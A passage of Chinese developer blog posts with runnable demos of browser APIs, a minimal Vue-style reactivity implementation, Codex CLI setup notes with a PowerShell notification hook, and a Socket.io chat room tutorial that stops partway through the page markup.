* 支持：Chrome 64+、Firefox 69+、Safari 13.1+。
* Polyfill：若需支持旧浏览器，可用第三方 polyfill（此处给出简单替代思路：在没有原生时退回到 `window.resize` + 轮询检测元素尺寸的实现）。

## IntersectionObserver 可视区域监听

懒加载 / 曝光埋点

**用途 & 痛点**

* 替代滚动事件进行元素进入/离开视口的检测，极大减少帧率损耗。
* 场景：图片懒加载、广告曝光埋点、自动播放视频。

```html
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8" />
    <title>IntersectionObserver Demo</title>
  </head>
  <body style="min-height: 200vh">
    <img
      id="img"
      data-src="https://avatars.githubusercontent.com/u/171486473?v=4"
      alt="lazy"
      style="
        display: block;
        margin-top: 800px;
        width: 600px;
        height: 200px;
        background: #eee;
      "
    />
    <script>
      const img = document.getElementById("img");
      const io = new IntersectionObserver(
        (entries, obs) => {
          const e = entries[0];
          if (e.isIntersecting) {
            img.src = img.dataset.src;
            obs.disconnect();
          }
        },
        { threshold: 0.1, rootMargin: "100px 0px" }
      );
      io.observe(img);
    </script>
  </body>
</html>
```

**高级用法**

* `rootMargin` 做预加载（提前触发）。
* 通过 `threshold` 数组获取进入比例的精细控制。

**生产实践**

* 批量观察：为多个元素创建一个 `IntersectionObserver` 实例，避免为每个元素创建实例带来的开销。
* 在曝光埋点中要防重发（使用 `once` 语义）。

**兼容性 & polyfill**

* 支持：Chrome 51+、Firefox 55+、Safari 12.1+。
* Polyfill：可用 `intersection-observer` npm 包（如果需支持旧内核）。

## Page Visibility 页面可见性检测

**用途 & 痛点**

监听页面是否可见（tab 切换、最小化），用于暂停动画、降低轮询频率、节省带宽。

```html
<!DOCTYPE html>
<html>
  <meta charset="UTF-8" />
  <body>
    <script>
      document.addEventListener("visibilitychange", () => {
        if (document.hidden) {
          console.log("页面进入后台：暂停轮询/动画");
          // pause tasks
        } else {
          console.log("页面回到前台：恢复");
        }
      });
    </script>
  </body>
</html>
```

**高级用法**

* 与 `Wake Lock` 或 `requestIdleCallback` 联动，按需调整行为。

**兼容性**

* 广泛支持，但有些旧浏览器的 `visibilityState` 值略有差异。

## Web Share 原生系统分享

**用途**

调用系统分享面板，体验更统一（H5 分享推荐）。

```html
<!DOCTYPE html>
<html>
  <meta charset="UTF-8" />
  <body>
    <button id="share">Share</button>
    <script>
      const btn = document.getElementById("share");
      btn.addEventListener("click", async () => {
        if (navigator.share) {
          try {
            await navigator.share({
              title: document.title,
              text: "Awesome",
              url: location.href,
            });
            console.log("shared");
          } catch (e) {
            console.error(e);
          }
        } else alert("不支持 Web Share");
      });
    </script>
  </body>
</html>
```

**注意**

* 需 HTTPS（或 localhost），且必须在用户手势触发下调用。
* 桌面端支持不尽相同。

## Wake Lock 防止设备息屏

**用途**

在直播、演示或导航场景保持屏幕常亮。

```html
<!DOCTYPE html>
<html>
  <meta charset="UTF-8" />
  <body>
    <button id="lock">保持常亮</button>
    <script>
      let lock;
      const btn = document.getElementById("lock");
      btn.addEventListener("click", async () => {
        try {
          if ("wakeLock" in navigator) {
            lock = await navigator.wakeLock.request("screen");
            lock.addEventListener("release", () =>
              console.log("lock released")
            );
            console.log("acquired");
          } else {
            alert("不支持 Wake Lock");
          }
        } catch (e) {
          console.error(e);
        }
      });
    </script>
  </body>
</html>
```

**生产提示**

* 页面可见性变化会导致锁被释放，需要在 `visibilitychange` 时重新申请。

**兼容性**

* 新 API，部分浏览器支持（主要 Chromium 系列），老浏览器需优雅降级。

## BroadcastChannel  同源标签页通信

**用途**

在同一源的多个标签页之间传递消息（登录态同步、主题切换、协作文档协同）。

```html
<!DOCTYPE html>
<html>
  <meta charset="UTF-8" />
  <body>
    <button id="send">发送消息</button>
    <script>
      const ch = new BroadcastChannel("app-channel");
      ch.onmessage = (e) => console.log("收到：", e.data);
      document.getElementById("send").onclick = () =>
        ch.postMessage({ time: Date.now(), text: "hello from tab" });
    </script>
  </body>
</html>
```

**降级**

* 跨域或老浏览器可用 `localStorage` + `storage` 事件作为替代（延迟、频宽较差）。

## PerformanceObserve 性能指标采集

**用途**

监听浏览器性能入口（paint、resource、longtask、layout-shift 等），无侵入采集 FCP/LCP/FID 等指标。

```html
<!DOCTYPE html>
<html>
  <body>
    <script>
      if ("PerformanceObserver" in window) {
        const po = new PerformanceObserver((list) => {
          for (const entry of list.getEntries()) {
            console.log("perf entry", entry.type || entry.name, entry);
          }
        });
        po.observe({ type: "paint", buffered: true });
        // 还能观察 'largest-contentful-paint', 'layout-shift' 等
      }
    </script>
  </body>
</html>
```

**生产实践**

* 将采集结果分批发送到后端，避免每条都发送。

## requestIdleCallback 浏览器空闲时执行任务

**用途**

在主线程空闲时执行非关键任务（埋点、预加载、缓存清理），减少对关键渲染路径的影响。

```html
<!DOCTYPE html>
<html>
  <body>
    <script>
      const task = (deadline) => {
        while (deadline.timeRemaining() > 0 && tasks.length) {
          const t = tasks.shift();
          t();
        }
        if (tasks.length) requestIdleCallback(task, { timeout: 1000 });
      };
      const tasks = Array.from({ length: 5 }).map(
        (_, i) => () => console.log("task", i)
      );
      requestIdleCallback(task);
    </script>
  </body>
</html>
```

**兼容性**

一些浏览器未实现，可 polyfill（用 `setTimeout(fn,0)` + time budget 模拟）。

## scheduler.postTask 原生任务优先级队列

**用途**

提供与平台调度器交互的 API，提交带优先级的低开销任务（尚在部分浏览器实验阶段）。

```html
<!DOCTYPE html>
<html>
  <body>
    <script>
      if (window.scheduler && scheduler.postTask) {
        scheduler.postTask(() => console.log("background task"), {
          priority: "background",
        });
      } else {
        // 降级：用 requestIdleCallback 或 setTimeout
        requestIdleCallback(() => console.log("bg task fallback"));
      }
    </script>
  </body>
</html>
```

**注意**：API 仍在演进，使用前应 feature-detect。

## AbortController 取消异步任务（fetch、stream）

**用途**

取消 fetch 请求、ReadableStream、scheduler.postTask 等，解决竞态、切换时撤销请求。

```html
<!DOCTYPE html>
<html>
  <body>
    <button id="start">Start Fetch</button>
    <button id="cancel">Cancel</button>
    <script>
      let ctrl;
      document.getElementById("start").onclick = async () => {
        ctrl = new AbortController();
        try {
          const r = await fetch("https://httpbin.org/delay/5", {
            signal: ctrl.signal,
          });
          console.log("ok", await r.text());
        } catch (e) {
          console.error("fetch error", e.name);
        }
      };
      document.getElementById("cancel").onclick = () => ctrl?.abort();
    </script>
  </body>
</html>
```

**高级**

* `AbortSignal.timeout(ms)` 可创建自动超时信号（某些环境支持）。

## ReadableStream 流式读取（大文件下载）

**用途**

* 分块读取 response.body，适用于大文件或边下边写场景，避免一次性占用大量内存。

**示例（分块下载并显示进度）**

```html
<!DOCTYPE html>
<html>
  <body>
    <meta charset="utf-8" />
    <button id="dl">下载并显示进度</button>
    <progress id="p" max="100" value="0" style="width: 80%"></progress>
    <script>
      document.getElementById("dl").onclick = async () => {
          // 下载地址可能已经不可用
        const res = await fetch("https://nbg1-speed.hetzner.com/1GB.bin");
        const len = +res.headers.get("Content-Length");
        const reader = res.body.getReader();
        let received = 0;
        while (true) {
          const { done, value } = await reader.read();
          if (done) break;
          received += value.length;
          document.getElementById("p").value = (received / len) * 100;
        }
        alert("done");
      };
    </script>
  </body>
</html>
```

**注意**：小文件不必用流，流更适合大文件或需要逐步处理的情形。

## WritableStream 流式写入（上传 / 本地写）

**用途**

构建逐块上传或写入的能力，与 ReadableStream 配合用于大文件上传。

```html
<!DOCTYPE html>
<html>
  <body>
    <meta charset="utf-8" />
    <button id="w">模拟写入</button>
    <script>
      const myWritable = new WritableStream({
        write(chunk) {
          console.log("写入 chunk", chunk);
        },
        close() {
          console.log("closed");
        },
      });
      const writer = myWritable.getWriter();
      document.getElementById("w").onclick = async () => {
        await writer.write("hello");
        await writer.write("world");
        await writer.close();
      };
    </script>
  </body>
</html>
```

**生产实践**

与服务端 `Transfer-Encoding: chunked` 联动，服务端需支持流式接收。

## Background Fetch PWA 后台下载（断点续传）

**用途**：Service Worker 中在后台可靠下载大文件，系统通知栏显示进度，适合 PWA 场景。

**示例**：该 API 需要 Service Worker 和浏览器支持（示例略）。

**降级**：若不支持，采用后台 `fetch` + `ReadableStream` + IndexedDB 存储断点续传数据。

## File System Access 浏览器读写本地文件

**用途**：允许网页直接读写用户授权的本地文件（适用于 Web IDE、画图工具、备份）

```html
<!DOCTYPE html>
<html>
  <body>
    <meta charset="utf-8" />
    <button id="save">保存文件</button>
    <script>
      document.getElementById("save").onclick = async () => {
        if (!window.showSaveFilePicker) return alert("API 不支持");
        const handle = await window.showSaveFilePicker({
          suggestedName: "hello.txt",
        });
        const writable = await handle.createWritable();
        await writable.write("Hello from browser file API");
        await writable.close();
        alert("保存完成");
      };
    </script>
  </body>
</html>
```

**权限**：需要用户交互触发，HTTPS 下可用。

## Clipboard API 异步剪贴板

**用途**：读取/写入剪贴板文本与图片（更强大且异步），替代 `execCommand`。

```html
<!DOCTYPE html>
<html>
  <body>
    <meta charset="utf-8" />
    <button id="copy">复制</button>
    <button id="paste">粘贴</button>
    <script>
      document.getElementById("copy").onclick = async () => {
        try {
          await navigator.clipboard.writeText("Hello 2025");
          alert("已复制");
        } catch (e) {
          alert("复制失败");
        }
      };
      document.getElementById("paste").onclick = async () => {
        try {
          const t = await navigator.clipboard.readText();
          alert("剪贴板：" + t);
        } catch (e) {
          alert("读取失败");
        }
      };
    </script>
  </body>
</html>
```

**注意**：读取剪贴板需要权限与用户手势，图片读写涉及更高权限。

## URLSearchParams 方便的查询参数处理

**用途**：构建/解析查询字符串，替代手写拼接。

```html
<!DOCTYPE html>
<html>
  <body>
    <meta charset="utf-8" />
    <script>
      const params = new URLSearchParams({ q: "Web", page: 2 });
      console.log(params.toString());
      // 解析
      const p2 = new URLSearchParams("?a=1&b=2");
      console.log([...p2.entries()]);
    </script>
  </body>
</html>
```

**高级**：支持重复键、可迭代，方便与 `fetch` 参数构建结合。

## structuredClone 深拷贝（支持复杂类型）

**用途**：比 `JSON.parse(JSON.stringify(...))` 更强，能拷贝 Map/Set/Date/Blob 等，且支持循环引用。

```html
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>structuredClone Demo</title>
</head>
<body>
<h2>structuredClone Demo</h2>
<button id="run">运行 Demo</button>

<script>
document.getElementById('run').onclick = () => {
  // 循环引用示例
  const obj = { name: "Alice" };
  obj.self = obj; // 循环引用
  const copy = structuredClone(obj);
  console.log("循环引用拷贝：", copy);
  console.log("copy.self === copy ?", copy.self === copy); // true

  // 高级示例：Map, Set, Blob
  const data = {
    map: new Map([["a", 1], ["b", 2]]),
    set: new Set([1, 2, 3]),
    blob: new Blob(["Hello structuredClone"], { type: "text/plain" })
  };
  const clonedData = structuredClone(data);
  console.log("Map 拷贝：", clonedData.map.get("a")); // 1
  console.log("Set 拷贝：", clonedData.set.has(2)); // true
  clonedData.blob.text().then(text => console.log("Blob 内容：", text));

  alert("查看控制台输出结果");
};
</script>
</body>
</html>
```

**浏览器支持**

| 浏览器  | 最低支持版本 | 说明                                   |
| ------- | ------------ | -------------------------------------- |
| Chrome  | 98+          | 完整支持，包括 Map/Set/Blob/循环引用   |
| Edge    | 98+          | 同 Chrome 内核                         |
| Firefox | 94+          | 完整支持                               |
| Safari  | 15.4+        | 支持大部分类型，但 Safari 旧版本不支持 |
| Opera   | 84+          | 基于 Chromium，支持                    |
| Node.js | 17+          | 内置支持，低版本需 polyfill            |

**限制/坑**

* **不支持函数**：`structuredClone({ fn(){} })` 会报错。
* **不支持 DOM 节点**：无法 clone HTML 元素或节点。
* **Class 实例**：克隆后会丢失原型，只保留普通对象属性。
* **Proxy**：无法克隆代理对象。

**兼容方案（Polyfill）**

对于不支持 `structuredClone` 的环境，可以降级使用：

```js
if (!window.structuredClone) {
  window.structuredClone = obj => JSON.parse(JSON.stringify(obj));
}
```

**注意**：这种 Polyfill 不支持循环引用、Map、Set、Blob 等复杂类型，仅适合简单对象深拷贝。

**总结**：现代主流浏览器和 Node.js 17+ 都已经支持 `structuredClone`，可以放心在新项目中使用，只要注意上述限制。

---

---
url: /posts/stack/index.md
---
# 技术栈
### 技术栈{#stack}

 
 
 
 
 
 
 
 
 
 

 
 
 
 
 
 
 
 
 
 
 
 
 
 

 
 
 
 
&#x20; 

---

---
url: /posts/tdl5jhyb/index.md
---
# README

---

---
url: /posts/u2ntvcfd/index.md
---
# 从源码到架构
## 响应式的最小可用模型

::: details

```js
// 响应式系统核心实现 

// 当前正在执行的副作用函数
let activeEffect = null;

// 依赖映射表：target -> key -> Set<effect>
// 用于存储每个响应式属性的所有依赖函数
const targetMap = new WeakMap();

/**
         * 依赖收集：将当前正在执行的 effect 添加到依赖集合中
         * @param {Object} target - 目标对象
         * @param {string} key - 属性名
         */
function track(target, key) {
    // 如果没有正在执行的 effect，说明不在 effect 函数中，不需要收集依赖
    if (!activeEffect) return;

    // 获取或创建 target 的依赖映射
    let depsMap = targetMap.get(target);
    if (!depsMap) {
        depsMap = new Map();
        targetMap.set(target, depsMap);
    }

    // 获取或创建 key 的依赖集合
    let deps = depsMap.get(key);
    if (!deps) {
        deps = new Set();
        depsMap.set(key, deps);
    }

    // 将当前 effect 添加到依赖集合中
    deps.add(activeEffect);

    console.log(`📝 收集依赖: ${key} -> effect函数`);
}

/**
         * 依赖触发：当数据变化时，执行所有依赖该数据的 effect
         * @param {Object} target - 目标对象
         * @param {string} key - 属性名
         */
function trigger(target, key) {
    const depsMap = targetMap.get(target);
    if (!depsMap) return;

    const deps = depsMap.get(key);
    if (!deps) return;

    console.log(`🚀 触发更新: ${key} 变化，执行 ${deps.size} 个依赖函数`);

    // 执行所有依赖该属性的 effect
    deps.forEach(effect => {
        effect();
    });
}

/**
         * 创建响应式对象
         * @param {Object} target - 目标对象
         * @returns {Proxy} 响应式代理对象
         */
function reactive(target) {
    return new Proxy(target, {
        // 读取属性时，收集依赖
        get(target, key) {
            track(target, key);
            return target[key];
        },

        // 设置属性时，触发更新
        set(target, key, value) {
            const oldValue = target[key];
            target[key] = value;

            // 只有值真正改变时才触发更新
            if (oldValue !== value) {
                trigger(target, key);
            }

            return true;
        }
    });
}

/**
         * 副作用函数：用于执行需要响应式更新的代码
         * @param {Function} fn - 要执行的函数
         */
function effect(fn) {
    // 将当前函数设置为活跃的 effect
    activeEffect = fn;

    // 执行函数，此时会触发 getter，从而收集依赖
    fn();

    // 执行完毕后，清除活跃的 effect
    activeEffect = null;
}

// ==================== 使用示例 ====================


// 创建响应式数据
const state = reactive({
    count: 0,
    name: 'Vue',
    age: 3
});

effect(()=>{
    console.log(state.count);
})

setInterval(()=>{
    state.count++;
},1000);
```

:::

## 像架构师一样思考

Vue 最大的特点就是它能实现 **视图 (render) 与数据之间的关联**

## 拦截数据

### `Object.defineProperty`

在对象上定义访问器属性（accessor descriptor）用于拦截对某个属性的读取与写入。Vue 2 的响应式正是基于这个机制实现的。

```js
Object.defineProperty(obj, propName, descriptor)
```

`descriptor` 可以是：

* 数据描述符（data descriptor）：`{ value, writable, enumerable, configurable }`
* 访问器描述符（accessor descriptor）：`{ get: function, set: function, enumerable, configurable }`

**重要字段说明**：

* `get`：读取时调用，无参数，返回值为属性值
* `set`：写入时调用，参数为新值
* `enumerable`：是否可枚举（`for...in` / `Object.keys`）
* `configurable`：是否允许删除或再次修改该属性描述符
* `writable`：数据描述符中是否可被赋值（与 accessor 描述符互斥）

**示例（最小实现）**

```js
const obj = {};
let _val = 1;
Object.defineProperty(obj, 'x', {
  get() {
    console.log('读取 x');
    return _val;
  },
  set(v) {
    console.log('设置 x ->', v);
    _val = v;
  },
  enumerable: true,
  configurable: true
});

console.log(obj.x); // 触发 get
obj.x = 5;          // 触发 set
```

**优缺点**

优点：兼容 IE9+（相对广），语义清晰。

缺点：

* 只能拦截已存在的属性（不能捕获新增属性或删除属性）。
* 无法直接拦截数组索引赋值（`arr[0] = ...`），需额外覆盖数组方法。
* 为嵌套对象需要**递归遍历并为每一项都 defineProperty**（初始化成本高）。
* 不易实现对 Map/Set 的拦截。

**Vue2 相关要点**

Vue2 在初始化时会深度遍历对象并对每个属性做 `defineReactive`（即 `Object.defineProperty`），并通过覆盖数组变异方法（push/pop/shift/unshift/splice/sort/reverse）来处理数组变更。

### `Proxy`

ES6 提供的 `Proxy` 可以拦截对象的所有操作（“元操作”）：读取、写入、删除、枚举、属性描述符查询、函数调用等。Vue 3 基于这个实现响应式。

**创建方式与 handler 参数**（常用 trap）

```js
const proxy = new Proxy(target, handler);
```

`handler` 常用 trap 详细介绍（含签名与示例）：

* `get(target, prop, receiver)`
  * **作用**：拦截属性读取操作（如 `proxy.foo`）。
  * **示例**：

```js
    const proxy = new Proxy({a: 1}, {
      get(target, prop, receiver) {
        console.log('读取属性', prop);
        return target[prop];
      }
    });
    proxy.a; // 控制台打印：读取属性 a
```

* `set(target, prop, value, receiver)`
  * **作用**：拦截属性设置操作（如 `proxy.foo = 123`），返回布尔值，表示赋值是否成功。
  * **示例**：

```js
    const proxy = new Proxy({}, {
      set(target, prop, value, receiver) {
        console.log(`设置${prop}为${value}`);
        target[prop] = value;
        return true; // 返回 true 表示赋值成功
      }
    });
    proxy.x = 10; // 控制台打印：设置x为10
```

* `has(target, prop)`
  * **作用**：拦截 `in` 操作符（如 `'foo' in proxy`）。
  * **示例**：

```js
    const proxy = new Proxy({a: 1}, {
      has(target, prop) {
        console.log(`判断${prop}是否存在`);
        return prop in target;
      }
    });
    'a' in proxy; // 控制台打印：判断a是否存在
```

* `deleteProperty(target, prop)`
  * **作用**：拦截 `delete` 操作（如 `delete proxy.foo`）。
  * **示例**：

```js
    const proxy = new Proxy({a: 1}, {
      deleteProperty(target, prop) {
        console.log(`删除属性${prop}`);
        return delete target[prop];
      }
    });
    delete proxy.a; // 控制台打印：删除属性a
```

* `ownKeys(target)`
  * **作用**：拦截对象自身属性的读取，比如 `Object.keys()`、`for...in`、`Object.getOwnPropertyNames()`、`Reflect.ownKeys()`。
  * **示例**：

```js
    const proxy = new Proxy({a: 1, b: 2}, {
      ownKeys(target) {
        console.log('获取所有属性键');
        return Reflect.ownKeys(target);
      }
    });
    Object.keys(proxy); // 控制台打印：获取所有属性键
```

* `getOwnPropertyDescriptor(target, prop)`
  * **作用**：拦截属性描述符的读取（如 `Object.getOwnPropertyDescriptor(proxy, 'foo')`）。
  * **示例**：

```js
    const proxy = new Proxy({a: 1}, {
      getOwnPropertyDescriptor(target, prop) {
        console.log(`获取属性描述符：${prop}`);
        return Object.getOwnPropertyDescriptor(target, prop);
      }
    });
    Object.getOwnPropertyDescriptor(proxy, 'a'); // 控制台打印：获取属性描述符：a
```

* `defineProperty(target, prop, descriptor)`
  * **作用**：拦截属性定义（如 `Object.defineProperty(proxy, 'foo', {...})`）。
  * **示例**：

```js
    const proxy = new Proxy({}, {
      defineProperty(target, prop, descriptor) {
        console.log(`定义属性${prop}`);
        return Object.defineProperty(target, prop, descriptor);
      }
    });
    Object.defineProperty(proxy, 'b', {value: 5}); // 控制台打印：定义属性b
```

* `apply(target, thisArg, args)`
  * **作用**：拦截函数调用（仅 target 是函数时有效，如 `proxy(...args)`）。
  * **示例**：

```js
    const fn = function(x) { return x*2; }
    const proxy = new Proxy(fn, {
      apply(target, thisArg, args) {
        console.log('函数被调用', args);
        return target.apply(thisArg, args);
      }
    });
    proxy(3); // 控制台打印：函数被调用 [3]
```

* `construct(target, args)`
  * **作用**：拦截 `new proxy(...args)` 实例化操作（仅 target 是构造函数时有效）。
  * **示例**：

```js
    function Foo(x) { this.x = x; }
    const proxy = new Proxy(Foo, {
      construct(target, args) {
        console.log('构造函数被调用', args);
        return new target(...args);
      }
    });
    new proxy(10); // 控制台打印：构造函数被调用 [10]
```

通常与 `Reflect` 一起用，以保持默认行为和内部一致性：

```js
set(target, prop, value, receiver) {
  return Reflect.set(target, prop, value, receiver);
}
```

**示例（基础）**

```js
const obj = {a:1};
const p = new Proxy(obj, {
  get(t,k,rec){
    console.log('get', k);
    return Reflect.get(t,k,rec);
  },
  set(t,k,v,rec){
    console.log('set', k, '->', v);
    return Reflect.set(t,k,v,rec);
  }
});
console.log(p.a);
p.b = 2; // 新增属性会被拦截
```

**优缺点**

优点：

* 能拦截**新增/删除属性**，数组索引，`in`，`for...in`，`Object.keys` 等多种操作。
* 默认情况下，Proxy 只会代理被包裹的**表层对象**，不会自动对其嵌套的子对象进行深层代理。但一个常见模式是：在 `get` 拦截器里，只有当访问到某个子对象时，才为它创建并返回一个新的 Proxy，这种方式被称为**懒代理（按需代理子对象）**，从而实现对对象的动态深层代理，而不用一开始就递归遍历所有嵌套属性。
* 能自然代理 Map/Set/数组/函数等复杂结构。

缺点：

* 无法在旧浏览器（IE）上运行（无法 polyfill）。
* Proxy 的 trap 需要遵守引擎内部的不变性（invariant）：例如 `getOwnPropertyDescriptor` 返回不可配置但原对象实际可配置会抛错。
* debug/堆栈可能更复杂。

**注意点（关键参数语义）**

* `set` 必须返回 boolean。若返回 `false` 且严格模式，会抛出 TypeError。
* `get` 的 `receiver` 通常用于处理继承/getter 情况，直接 `Reflect.get` 可避免原型链问题。
* 若要保留目标对象的一致行为，优先使用 `Reflect` 系列调用。

### `get` / `set`（语法糖）

在对象字面量或类中直接声明访问器，比 `defineProperty` 更简洁。背后同样是定义访问器描述符。

```js
class Person {
  constructor(name){
    this._name = name;
  }
  get name() {
    console.log('读取 name');
    return this._name;
  }
  set name(v) {
    console.log('设置 name');
    this._name = v;
  }
}
const p = new Person('A');
console.log(p.name);
p.name = 'B';
```

**优点**：语法更清晰，适合类封装。

**缺点**：和 `defineProperty` 一样，**只能作用于已声明的属性**（不能拦截后期新增属性），且同样不能直接解决数组索引问题。

TODO：02. 像架构师一样思考 16:05

---

---
url: /posts/ubvwrrn8/index.md
---
# CodeX 笔记
**Codex CLI** 是一个**在终端里直接用的 AI 编程助手**

```bash
npm install -g @openai/codex
```

安装完成后验证：

```bash
codex --help
```

```bash
codex auth login
```

## 常用参数

`--yes`（自动应用修改）

`--dry-run`（只看不改）

## 配置文件位置

Win ：

```bash
C:\Users\<你的用户名>\.codex
```

## 终端代理

```bash
setx HTTP_PROXY http://127.0.0.1:7890
setx HTTPS_PROXY http://127.0.0.1:7890
```

## 通知

在 Windows 10 上运行 Codex CLI 时，任务通常在终端中执行，完成后没有明显提示。当任务耗时较长（如代码重构、分析仓库）时，很容易错过完成时机。通过 PowerShell 的通知能力，可以在 Codex 任务结束后触发 **Windows 系统级 Toast 通知**（右下角通知中心）。

* Codex CLI 支持在任务结束时触发 `notify` 钩子
* `notify` 本质是执行一个外部命令或脚本
* PowerShell 可通过第三方模块 **BurntToast** 发送 Windows Toast 通知
* 组合方式类似：`npm i` 安装依赖，代码中 `require` / `import` 使用依赖

PowerShell 的 **Module** 等价于：

* Node.js 的 npm 包
* Python 的 pip 包

特点：

* 模块通过 `Install-Module` 安装
* 模块通过 `Import-Module` 加载
* 模块向 PowerShell 暴露函数（命令）

BurntToast 模块提供的核心函数是：`New-BurntToastNotification`

### 安装 BurntToast 模块

在 PowerShell 中执行以下命令：

```bash
Set-ExecutionPolicy -Scope CurrentUser RemoteSigned -Force
Install-Module BurntToast -Scope CurrentUser -Force
```

说明：

* `ExecutionPolicy` 用于允许当前用户执行本地脚本
* `CurrentUser` 不影响系统其他用户
* `BurntToast` 是 Windows Toast 通知的事实标准模块

### 验证系统通知是否可用

在 PowerShell 中手动执行测试命令：

```bash
Import-Module BurntToast
New-BurntToastNotification -Text "Codex", "任务已完成 🎉"
```

验证结果：

* 右下角弹出 Windows 通知 → 系统环境正常
* 无通知 → 检查 Windows 通知设置或专注助手（Focus Assist）

### Codex 通知脚本设计

Codex 不直接发通知，而是调用一个脚本。该脚本负责发送通知。

### 创建通知脚本

路径建议固定为：

```bash
C:\Users\<用户名>\.codex\notify.ps1
```

脚本内容：

```bash
Import-Module BurntToast
New-BurntToastNotification -Text "Codex", "任务已完成 🎉"
```

说明：

* 每次 Codex 任务结束都会执行此脚本
* 可自由修改通知内容或逻辑

### 配置 Codex notify 钩子

编辑 Codex 配置文件：

```bash
C:\Users\<用户名>\.codex\config.toml
```

添加或修改：

```toml
notify = [
  "powershell",
  "-NoProfile",
  "-ExecutionPolicy",
  "Bypass",
  "-File",
  "C:\\Users\\<用户名>\\.codex\\notify.ps1"
]
```

配置说明：

* `-NoProfile` 避免加载用户 PowerShell 配置导致不确定行为
* `Bypass` 防止脚本执行被策略拦截
* 路径必须使用双反斜杠

---

---
url: /posts/uys53exb/index.md
---
## 后端

### 技术栈

* **Express**: 用于创建Web服务器
* **Socket**.io: 提供WebSocket功能
* **nodemon**: 开发时自动重启服务器

### 实现

```js
// 引入必要的模块
const express = require('express'); // Express 框架，用于处理 HTTP 请求
const http = require('http'); // Node.js 内置的 HTTP 模块，用于创建 HTTP 服务器
const path = require('path'); // Node.js 内置的路径处理模块
const socketIO = require('socket.io'); // Socket.IO 库，用于处理 WebSocket 通信
```

```js
// 创建 Express 应用实例
const app = express();
```

> \[!IMPORTANT]
>
> **注意：虽然 Express 可以直接启动服务器，但 Socket.IO 需要原始的 HTTP 服务器实例**

```js
// 创建 HTTP 服务器，并将 Express 应用作为请求处理器
const server = http.createServer(app);
```

```js
// 初始化 Socket.IO，将 HTTP 服务器实例传递给它
// 这样 Socket.IO 可以监听同一个端口上的 WebSocket 连接
const io = socketIO(server);
```

```js
// 设置静态文件目录，Express 将直接提供该目录下的文件
// 例如：public/index.html 将通过 http://localhost:3000/index.html 访问
app.use(express.static(path.join(__dirname, 'public')));
```

```js
// 设置服务器端口，从环境变量获取或使用默认的 3000 端口
const PORT = process.env.PORT || 3000;
```

```js
// 存储用户数据的对象，键为 socket.id，值为用户名
const users = {};
```

```js
// 当客户端通过 WebSocket 连接到服务器时触发 'connection' 事件
io.on('connection', (socket) => {
    console.log('新用户已连接，Socket ID:', socket.id);

    // 监听客户端发送的 'join' 事件（用户加入聊天室）
    socket.on('join', (username) => {
        console.log(`用户 ${username} 加入了聊天室`);
        
        // 将用户名与socket.id关联存储
        users[socket.id] = username;
        
        // 向该用户发送欢迎消息
        socket.emit('message', {
            user: '系统',
            text: `欢迎加入聊天室，${username}！`,
            timestamp: new Date().toISOString()
        });
        
        // 向所有其他用户广播新用户加入的消息
        socket.broadcast.emit('message', {
            user: '系统',
            text: `${username} 加入了聊天室`,
            timestamp: new Date().toISOString()
        });
        
        // 更新所有客户端的用户列表
        io.emit('updateUserList', Object.values(users));
    });

    // 监听客户端发送的 'sendMessage' 事件（发送消息）
    socket.on('sendMessage', (message) => {
        console.log(`收到来自 ${users[socket.id]} 的消息: ${message}`);
        
        // 获取发送消息的用户名
        const username = users[socket.id];
        
        // 将消息广播给所有用户（包括发送者自己）
        io.emit('message', {
            user: username,
            text: message,
            timestamp: new Date().toISOString()
        });
    });

    // 监听用户正在输入事件
    socket.on('typing', (isTyping) => {
        // 向除了发送者之外的所有客户端发送打字状态
        socket.broadcast.emit('userTyping', {
            username: users[socket.id],
            isTyping: isTyping
        });
    });

    // 监听客户端断开连接事件
    socket.on('disconnect', () => {
        // 如果断开连接的用户在用户列表中
        if (users[socket.id]) {
            console.log(`用户 ${users[socket.id]} 离开了聊天室`);
            
            // 向所有其他用户广播该用户离开的消息
            socket.broadcast.emit('message', {
                user: '系统',
                text: `${users[socket.id]} 离开了聊天室`,
                timestamp: new Date().toISOString()
            });
            
            // 从用户列表中删除该用户
            delete users[socket.id];
            
            // 更新所有客户端的用户列表
            io.emit('updateUserList', Object.values(users));
        }
    });
});
```

```js
// 启动 HTTP 服务器，开始监听指定端口
server.listen(PORT, () => {
    console.log(`服务器已启动，正在监听端口 ${PORT}`);
    console.log(`在浏览器中访问 http://localhost:${PORT}`);
}); 
```

## 前端

```js
  // 建立Socket.io连接
  // 当不传入参数时，io()会自动连接到提供当前页面的服务器地址
  // 例如如果页面地址是 http://localhost:3000，则会连接到 ws://localhost:3000
  const socket = io();
  // 如果要手动指定服务器地址和端口，可以这样写:
  // const socket = io('http://localhost:3000');
```

`io()` 函数可以接受一个配置对象，用于自定义连接行为。

```js
const socket = io('http://localhost:3000', {
    transports: ['websocket'], // 只使用 WebSocket 传输
    reconnection: true, // 启用自动重连
    reconnectionAttempts: 5, // 最多重连 5 次
    reconnectionDelay: 1000, // 重连延迟 1 秒
});
```

> \[!IMPORTANT]
>
> `io()` 是 Socket.IO 客户端库提供的一个函数，用于创建与 Socket.IO 服务器的连接，
>
> 并不是**内置**的

> \[!IMPORTANT]
>
> 在html中为`  <script src="/socket.io/socket.io.js"></script>`
>
> 实际请求地址: http://localhost:3000/socket.io/socket.io.js

```html (13)
	
  <!-- 
    这个文件实际存在于 node_modules/socket.io/client-dist/socket.io.js
    
    当我们访问 /socket.io/socket.io.js 时:
    1. 请求首先到达 Express 服务器
    2. Socket.IO 在服务器端设置了一个特殊的路由
    3. 这个路由会自动返回 node_modules 里的 socket.io.js 文件内容
    
    所以虽然在 public 文件夹下看不到这个文件
    但是服务器会自动处理这个请求并返回正确的文件
  -->
  <script src="/socket.io/socket.io.js"></script>
  <script src="script.js"></script>
```

**index.html**

将页面通过静态资源托管以便访问

```html
<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>简易实时聊天</title>
  <link rel="stylesheet" href="style.css">
</head>
<body>
  <div class="container">
    <!-- 登录部分 -->
    <div class="login-container" id="login-container">
      <h1>欢迎加入聊天室</h1>
      <div class="login-form">
        <input type="text" id="username-input" placeholder="请输入您的用户名" maxlength="20" />
        <button id="join-btn">加入聊天</button>
      </div>
    </div>

    <!-- 聊天部分 -->
    <div class="chat-container" id="chat-container" style="display: none;">
      <div class="chat-header">
        <h2>实时多人聊天室</h2>
        <div class="user-info">
          当前用户：<span id="current-user"></span>
        </div>
